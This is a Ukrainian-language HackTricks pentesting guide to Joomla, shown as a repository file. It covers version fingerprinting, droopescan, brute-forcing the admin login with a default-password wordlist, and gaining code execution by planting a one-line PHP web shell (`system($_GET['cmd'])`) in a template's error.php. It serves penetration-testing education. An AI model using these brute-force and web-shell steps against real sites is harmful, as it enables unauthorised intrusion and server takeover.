hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-03-29 19:49:46 +01:00

98 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Чи працюєте ви в **кібербезпеці компанії**? Хочете побачити вашу **компанію рекламовану на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### Статистика Joomla
Joomla збирає деяку анонімну [статистику використання](https://developer.joomla.org/about/stats.html), таку як розподіл версій Joomla, PHP та баз даних, а також операційних систем серверів, які використовуються в установках Joomla. Ці дані можна запитати через їхній публічний [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Перелік
### Відкриття/Визначення
* Перевірте **мета**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Версія
* У **/administrator/manifests/files/joomla.xml** ви можете побачити версію.
* У **/language/en-GB/en-GB.xml** ви можете отримати версію Joomla.
* У **plugins/system/cache/cache.xml** ви можете побачити приблизну версію.
```bash
droopescan scan joomla --url http://joomla-site.local/
```
### Brute-Force
Ви можете використати цей [скрипт](https://github.com/ajnik/joomla-bruteforce) для спроби перебору логіну.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
Якщо вам вдалося отримати **адміністративні облікові дані**, ви можете **RCE всередині нього**, додавши фрагмент **PHP-коду**, щоб отримати **RCE**. Ми можемо зробити це, **налаштувавши** **шаблон**.
1. **Клацніть** на **`Templates`** внизу ліворуч під `Configuration`, щоб відкрити меню шаблонів.
2. **Клацніть** на назву **шаблону**. Давайте виберемо **`protostar`** під заголовком стовпця `Template`. Це приведе нас на сторінку **`Templates: Customise`**.
3. Нарешті, ви можете клацнути на сторінку, щоб відкрити **вихідний код сторінки**. Давайте виберемо сторінку **`error.php`**. Ми додамо **однорядковий PHP-код для виконання коду**, як показано нижче:
1. **`system($_GET['cmd']);`**
4. **Зберегти та закрити**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`